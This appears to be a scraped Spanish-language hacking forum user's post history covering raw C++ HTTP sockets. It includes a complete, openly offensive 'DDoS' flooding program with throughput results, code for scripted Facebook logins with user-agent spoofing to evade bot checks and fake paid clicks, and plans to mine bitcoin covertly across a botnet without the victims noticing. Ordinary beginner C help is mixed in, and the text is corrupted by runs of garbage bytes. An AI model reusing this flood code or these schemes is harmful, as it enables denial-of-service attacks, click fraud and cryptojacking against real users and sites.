þþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþ


El fichero de cookies sigue vacío, no tengo nada, ¿que ocurre? ¿alguien sabe que estoy haciendo mal? Y guiarme un poco con el procedimiento gracias.

Saludos.




Edito: En el anterior code no guardaba las cookies porque en el if puse "Set-cookie:" en vez de "Set-Cookie:" (solucionado ahora las cookies se guardan en el archivo).

Ayuda pls. He estado trabajando con el complemento firefox para cabeceras LIVE HTTP HEADERS, y bueno al intentar iniciar sesión obtuve esto:

POST /login HTTP/1.1
Host: dominio.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://dominio.com/login
Cookie: dsi=9888f8165173520951c8a290624375377019754c%7ExnMxIfJPCtfexiomYOApRUg5euo8voBRZGyPu76WNGsKvg%2Br216gsn9GD%2B%2BXoIBOaGsXTTAHafyzc%2Fcg4CzL1qIxmKH4EGcHdZCfgudd1LRRVR2GUIsripsJb0OMHSRB0PeC7NtV2s1D%2F0XqLiAeisQeSdn%2FEiXwrGpt%2FG2Tjbpwuj%2F%2BE4lf3%2FS1fKq8hjgTVRWG8M%2BGumOlp3c9BD%2B5XAxswAahq3DJKzXc5tolZ4FAn0gOiQCz%2B71TmTU%3D; _ga=GA1.3.243100690.1414398163; __insp_slim=1414398842749; __insp_nv=true; __insp_ref=d; __insp_norec_sess=true; __insp_wid=1437863939; _gat=1; _gat_newTracker=1
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
action=login&ref=&email=usuariooo&password=jhjhjh&cap=
HTTP/1.0 200 OK
Server: nginx
Date: Mon, 27 Oct 2014 08:36:18 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 6817
Set-Cookie: dsi=a0b3aecda88296af21c62c532c5b7c03d5f7c93b%7EU7%2Bubzy8doqEALJ7jARDFNGEBq0dkzo7Wl091fODByCwBML4wg7yHq4tlmZXwwor7FQsscwV3fbqwh2XDttQYQvBtfJSYJPM7SASc8NBcs2Tyg38nkVANIHEmQxaBlfe20QMB%2Bot0zHyelX3Qh%2BXREprwDuk73rdZX8KbrfeozDq8fRNhH8htoNCksatqok7GU%2BOYqiLROjkVJICyUvOLSMg0PcJQ40YIXm4a4wfQlzulpA%2FTAsMM8JP79l9Hw%3D%3D; expires=Mon, 27-Oct-2014 20:36:18 GMT; Max-Age=43200; path=/; domain=dominio.com
Vary: Accept-Encoding
Content-Encoding: gzip
X-Cache: MISS from ubuntu
X-Cache-Lookup: MISS from ubuntu:3128
Via: 1.1 ubuntu:3128 (squid/2.7.STABLE9)
Connection: keep-alive
----------------------------------------------------------
http://static.dominio.com/min/f=assets/css/style.css,assets/css/m.css,assets/css/i18n/es.css&v=1414059469,1414059469,1414059469&tt=.css


Haber esto es lo que manda firefox para una sesión errónea (mal introducido user y pass), el servidor lo recibe y ofrece un html de 6817 caracteres, y entonces firefox comienza a interactuar con el y a descargar dependencias para cargar el nuevo html y que pida de nuevo el usuario y contraseña.

Vaya yo no tuve la misma suerte, esto es lo que mando al servidor con mi programa sin previa conexión ojo, firefox quizás tuvo previa conexión por la cookie, pero no e de dónde la saca ni que son esos atributos que le pone en la cola.

Aún así me puse a copiarlo. En la primera interacción con el server mando lo mismo que firefox pero sin cookie y recibo una cadena de 62 caracteres que no veo sale basura, sale cortada la cadena al usar recv. De ahí saco las cookies del server las guardo en un archivo y hago un POST con ellas el mismo POST solo que con cookies y añadiendo la cola de las cookies de firefox.

haya va mi petición y su respuesta (primera interacción sin cookies del server aún):


POST /login HTTP/1.1
Host: dominio.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http ://dominio..com/login
Connection: keep-alive
Cache-Control: max-age=0
Content-type: application/x-www-form-urlencoded
Content-length: 74

action=login&ref=&email=usuariooo&password=jhjhjh&cap=



HTTP/1.0 302 Moved Temporarily
Server: nginx
Date: Mon, 27 Oct 2014 10:02:53 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 20
Set-Cookie: dsi=dbfb766863c26a84209efbcc8f7110e013504bf5%7ErN8ROCK%2B3Is1sShgBR7ZgDUnfp8tXsyWb1BDGTuqGVV5x7EVyiQeqC%2B0g5Y4kM5xmL547ur0MQRn6z6pPMuFIoGfJnMLGgX1cI4AT%2B47bHi4KeoMWVw3JMncuJXfZIiWoouTrDWCtGFCYw%3D%3D; expires=Mon, 27-Oct-2014 22:02:53 GMT; Max-Age=43200; path=/; domain=dominio.com

Location: http://dominio.com/

Set-Cookie: dsi=e276861b5ae8e19a3cbc0093c18763bf5eadcb95%7EeOgl6lcCqAMLk6czChQZip5pkuji%2FXHUNGo0MnvQVMUohPW45pGK7llGl8%2BO3CP9BwAmvlIgaAzyt9g0sAGh8JXsGIcvUWbJBEQKHB9Jg6qTmXGLi5QqO7CjhfJiEj2vbZl9uwVpuusocAeGFUA%2FYEmgWQH%2FEGic%2FSYBWNeUQHOi3xVk6RPT6EePeeKLCTqT4H%2BN3iQSCr%2FdDhNXiEls1DJAaDake4i00XcC%2Buo8Ow%3D%3D; expires=Mon, 27-Oct-2014 22:02:53 GMT; Max-Age=43200; path=/; domain=dominio.com
Vary: Accept-Encoding
Content-Encoding: gzip
X-Cache: MISS from ubuntu
X-Cache-Lookup: MISS from ubuntu:3128
Via: 1.1 ubunþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþ


Esta es la segunda interacción con los cookies recibidos de la respuesta a la primera:


POST /login HTTP/1.1
Host: dominio.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http ://dominio.com/login
Cookie: dsi=dbfb766863c26a84209efbcc8f7110e013504bf5%7ErN8ROCK%2B3Is1sShgBR7ZgDUnfp8tXsyWb1BDGTuqGVV5x7EVyiQeqC%2B0g5Y4kM5xmL547ur0MQRn6z6pPMuFIoGfJnMLGgX1cI4AT%2B47bHi4KeoMWVw3JMncuJXfZIiWoouTrDWCtGFCYw%3D%3D;__insp_nv = true; __insp_ref = d; __insp_norec_sess = true; __insp_wid = 1437863939; _gat = 1; _gat_newTracker = 1; lfbs = f74842e072e54dff920fc7f53b775edf63a098e1%7E1
Cookie: dsi=e276861b5ae8e19a3cbc0093c18763bf5eadcb95%7EeOgl6lcCqAMLk6czChQZip5pkuji%2FXHUNGo0MnvQVMUohPW45pGK7llGl8%2BO3CP9BwAmvlIgaAzyt9g0sAGh8JXsGIcvUWbJBEQKHB9Jg6qTmXGLi5QqO7CjhfJiEj2vbZl9uwVpuusocAeGFUA%2FYEmgWQH%2FEGic%2FSYBWNeUQHOi3xVk6RPT6EePeeKLCTqT4H%2BN3iQSCr%2FdDhNXiEls1DJAaDake4i00XcC%2Buo8Ow%3D%3D;__insp_nv = true; __insp_ref = d; __insp_norec_sess = true; __insp_wid = 1437863939; _gat = 1; _gat_newTracker = 1; lfbs = f74842e072e54dff920fc7f53b775edf63a098e1%7E1Connection: keep - alive
Cache-Control: max-age=0
Content-type: application/x-www-form-urlencoded
Content-length: 74

action=login&ref=&email=usuariooo&password=jhjhjh&cap=


HTTP/1.0 302 Moved Temporarily
Server: nginx
Date: Mon, 27 Oct 2014 10:04:38 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 20
Location: http://dominio.com/
Set-Cookie: dsi=d49bf690a0b0c6c178353d7e8ecca1a2a3b1c354%7E%2FkSCggzmo5e0ABgqVr1RI4Ke%2FHT8IY1ScWZjvrmkE%2BoFAo7Y02%2BEYqYmGgutz0ZzYwBpJCRpdHLYYT8gZ%2BhQ07MjAnO%2BIlOSsAea8Frex4C2M8I4Pjf90u%2BNaNPMSe%2BhYFUMP2ORAMh2WfZv0kaD2f0ZwUovmlM%2FLvxck5eumaM8M8Vz8oW1tiIxzDf%2BNHtr4waooak7%2F8EMtwd9OSl2kRVEj1fglYP3CQ84UVkLrA%3D%3D; expires=Mon, 27-Oct-2014 22:04:38 GMT; Max-Age=43200; path=/; domain=dominio.com
Vary: Accept-Encoding
Content-Encoding: gzip
X-Cache: MISS from ubuntu
X-Cache-Lookup: MISS from ubuntu:3128
Via: 1.1 ubuntu:3128 (squid/2.7.STABLE9)
Connection: close

þþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþ


En resumen no obtengo la misma cadena de datos al hacer parecida petición al servidor desde firefoz que desde mi programa, solo cambió la cookie, ¿que puede fallar?.

:laugh: :laugh: :laugh: :laugh: :D :D
#623
Vale quizas sea que necesite agente de usuario de navegador para que me mande los datos orientados a mi navegador, o simplemente para que me reconozca el navegador y así se defienda de los bots, cosa que trataremos de crackear.

Me acabo de encontrar una preciosa página:

http://www.useragentstring.com/pages/useragentstring.php

Pero no entiendo cada sistema operativo tiene su agente de navegación, he probado con uno así:

User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

Supongo que esto valdrá para todos usuarios no? Porque si quiero exportar mi programa quiero que valga para los demás aunque sean de 32 bits por ejemplo xp
#624
Hola de nuevo, miren mediante este programa busco iniciar sesión en facebook para ello he estudiado un poco su página:

Citar
<td class="html7magic"><label for="email">Correo o teléfono</label></td><td class="html7magic"><label for="pass">Contraseña</label></td></tr><tr><td><input type="text" class="inputtext" name="email" id="email" value="" tabindex="1" /></td><td><input type="password" class="inputtext" name="pass" id="pass" tabindex="2" /></td><td><label class="uiButton uiButtonConfirm" id="loginbutton" for="u_0_l"><input value="Entrar" tabindex="4" type="submit" id="u_0_l" /></label></td>

Lo que me hace deducir que para iniciar sesión necesitare realizar un POST con el hotmail o teléfono y contraseña de la siguiente manera:

email->miemail@hotmail.com
pass->contraseña

Entonces en el C++ tengo lo siguiente para iniciar sesión ojo a la cookie tengo problemas para extraerla, algun algoritmo sería bien recibido:

char* inicia_sesion(char* user, char *pass)
{
WSADATA wsa;
int sok, len;
struct sockaddr_in dir;
char buf[500], cad[100], aux[10], rec[1000];

WSAStartup(MAKEWORD(2, 0), &wsa);

if ((sok = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("Se ha producido un error al inicializar el socket.");
exit(0);
}
else
{
dir.sin_family = AF_INET;
dir.sin_port = htons(PUERTO);
dir.sin_addr.s_addr = inet_addr(IP);

strcpy_s(cad, "email=");
strcat_s(cad, user);
strcat_s(cad, "&pass=");
strcat_s(cad, pass);

len = strlen(cad);
_itoa_s(len, aux, 10);

strcpy_s(buf, "POST /index.php HTTP/1.1\r\n");
strcat_s(buf, "Host: www.facebook.com\r\n");
strcat_s(buf, "Content-type: application/x-www-form-urlencoded\r\n");
strcat_s(buf, "Content-length: ");
strcat_s(buf, aux);
strcat_s(buf, "\r\n\r\n");
strcat_s(buf, cad);

connect(sok, (struct sockaddr*)&dir, sizeof(dir));
send(sok, buf, strlen(buf), 0);
strcpy_s(buf, "");
recv(sok, buf, 1000, 0);
printf("%s", buf);
}


Recibo que el navegador no es válido:

CitarHTTP/1.0 302 Moved Temporarily
Location: http://www.facebook.com/unsupportedbrowser
Content-Type: text/html; charset=utf-8
X-FB-Debug: /e6SzF/7COKJY++J5Zt0aTYEdi2vwAvXAwRVH91SWDGbp6gIAHzpF2G9v+jDJox1gT4j3E8o0sk/OJy/qxKVuA==
Date: Fri, 24 Oct 2014 17:40:51 GMT
Content-Length: 0
X-Cache: MISS from ubuntu
X-Cache-Lookup: MISS from ubuntu:3128
Via: 1.1 ubuntu:3128 (squid/2.7.STABLE9)
Connection: close

þþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþÌÌÌÌÌÌÌÌ

Como puedo iniciar sesión, luego me tendrá que dar cookies. Un poco ayuda con esto pls.

Se me ocurre hacerlo para una página que paguen por publicar mensajes o hacer clicks¿? se podría falsificar el navegador con cpp para esa página.

Saludos.
#625
Programación C/C++ / Re: Gusano básico en C++
24 Octubre 2014, 18:17 PM
Todo un clásico la verdad es fácil crear un script que joda un ordenador no tiene mucho misterio xD. Pero sí la CPU estará quemando , no es la mejor forma de hacerlo.

Me recuerda a mi programa de DDOS que funciona por X tiempo pero si en ese X tiempo tu ordenador sigue vivo (pues está en bucle infinito hasta que se agote el tiempo) es un milagro casi porque el bucle no para de quemar CPU hasta se me bloqueo el ordenador quizas se podría poner un Sleep(10) cada 5 barridas aunque se perdería mucha potencia.

Pero son posibles soluciones saludos.
#626
ups no me di cuenta, de todas formas creo que el quería hacerlo en C++ no en C, en ese caso le hubiese faltado using namespace std;
#627
Programación C/C++ / Ayuda con programa DDoS
13 Octubre 2014, 12:57 PM
Edito: El primer programa hacia 65608 envíos y uno solo fallido en 5 segundos, el segundo 876210 ninguno fallido en 3 segundos, ahora creo haber encontrado el coherente.

Los anteriores eran rechazados por el servidor carentes de sentido enviaban cadenas como "\0" o basura.

Ahora este DDOS genera respuesta del servidor 2900 en 3,5 segundos con respuesta todos ellos.

Código:

Código (cpp) [Seleccionar]


///Lo bueno seria con procesos hijo.
#include <windows.h>
#include <iostream>
#include <cstdio>
#include <fstream>
#include <cstring>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <process.h>
#include <signal.h>
#include <time.h>

#pragma comment (lib, "Ws2_32.lib")
using namespace std;

int make_socket(char *ip, int puerto)
{
WSADATA wsa;
struct sockaddr_in dir;
int sock;

WSAStartup(MAKEWORD(2, 0), &wsa);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
closesocket(sock);
printf("error makesocket"); exit(1);
}
else
{
dir.sin_family = AF_INET;
dir.sin_port = htons(puerto);
dir.sin_addr.s_addr = inet_addr(ip);

if (connect(sock, (struct sockaddr*)&dir, sizeof(dir)) == -1)
{
printf("error conectar socket"); system("pause");
}
}
return sock;
}

void attack(char *ip, int puerto, int tiempo)
{
char basura[4096];
int sock,error=0,exito=0;
clock_t hola, adios;
char resp[500];
tiempo = tiempo * 1000;
strcpy_s(basura, "GET /index.php");//atacamos el index
strcat_s(basura, "Host: host.com\r\n");//de este host
strcat_s(basura, "Content-type: application/x-www-form-urlencoded\r\n");
strcat_s(basura, "\r\n\r\n");
int len=strlen(basura);
sock = make_socket(ip, puerto);
hola = clock();
while (1)
{
adios = clock();
if ((adios - hola) >= tiempo)
{
break;
}

if (send(sock, basura, len, 0) == -1)
{
error++;
printf("ha fallado el numero %d", exito + error);
sock = make_socket(ip, puerto);
}
else
{
printf("recibiendo...");
exito++;
}
}
printf("Paquetes enviados: %d\n", exito + error);
printf("ENVIADOS: %d\n", exito);
printf("FALLADOS: %d\n\n", error);
}

int main()
{
clock_t hola, adios;
hola = clock();
attack("56.670.633.080", 80, 3); //(segundos de ataque)
adios = clock();
printf("ha tardado %d", adios - hola);
return 0;
}


jajaja jdr me acaba de cascar el ordenador al probar esto OMG jajaja

Creo que era por esto:

Código (cpp) [Seleccionar]
strcpy_s(basura, "GET /index.php HTTP/1.1\r\n");//atacamos el index

Buf lo he vuelto a probar y casi casca otra vez 641768 envios en 13 seg.

Si al código le pongo recv(..) me envia el codigo fuente de la pagina, lo que pasa que es un descontrol de programa lo estoy probando con pause.

Saludos
#628
No quiero hacer un server, ya explique mis 2 posibles intenciones:

Citar1-Iniciando sesion en un solo ordenador, descargar varias cadenas( quizás no deje mas de una a la vez por eso hablé de los limites). Y usando la botnet enviar estas cadenas a los bots para que las descifren, quizás esto me sirva de ayuda:
https://github.com/bitcoin/bitcoin/blob/master/src/miner.cpp
Aunque ahora no entiendo nada xD. Bien descifrarían la cadena y la subirían a la botnet y yo desde mi cliente y ordenador subiría la cadena descifrada y ganaria bitcoins en mi sesion.

2-Haciendo que todos los bots inicien sesión en la cuenta con un cliente modificado(ya que el bot no se debe de dar cuenta no le puede salir una ventana y que el acepte minar xD tiene que ser todo en segundo plano), que descarguen las cadenas cifradas, las minen y suban las descifradas al server del bitcoin para ganar bitcoins en mi cuenta.

Minar bitoins que es exactamente? Consiste en descifrar cadenas en SHA256 no? que se descargan de un servidor y su cliente las mina para ganar bitcoins, ok.

Entonces podríamos descargar varias cadenas y distribuirlas sobre una botnet para que los bots se pongan a minarlas (1000 bots x 1000 bitcoins mas xD) y luego paso a euros, no tiene porque ser algo ilegal, los bots pueden tener hasta la opcion de aceptarlo si queremos, si no sería ilegal.. no es el tema.

Otra manera que cada cliente bot acceda a las cadenas iniciando sesión con tu cuenta y pass y descargue las cadenas y las mine, pero el cliente debería estar modificado pues no le vamos a dar al bot nuestra cuenta (aunque la podría sacar).

Saludos.

#629
Eso es C++, cout no esta definido en C, estás mezclando 2 lenguajes de programación, tendrías que usar printf y scanf en su lugar:

Te voy a resolver el code:



#include <stdio.h>
int main(){
   int cont1=0,cont2=0,i;
   float rut,nota;
   for (i=0; i<10; i++);
   {
   printf("\n ingrese rut");
   scanf("%f",&rut);
   printf("\n ingrese nota");
   scanf("%f",&nota);
   }
    if(nota>=40)
    {
       cont1++;
    }
    else {
       cont2++;
       }
printf("\n la cantidad de aprobados es: %d",cont1);
printf("\n la cantidad de reprobados es %d",cont2);
   return 0;
}


Prueba esto, ahora estas usando C solo.

Ahora que me fijo es un código carente de sentido, deberías estudiar más antes de entrar a la práctica.

Saludos.

#630
Hola el código que usas no es C es C++, saludos.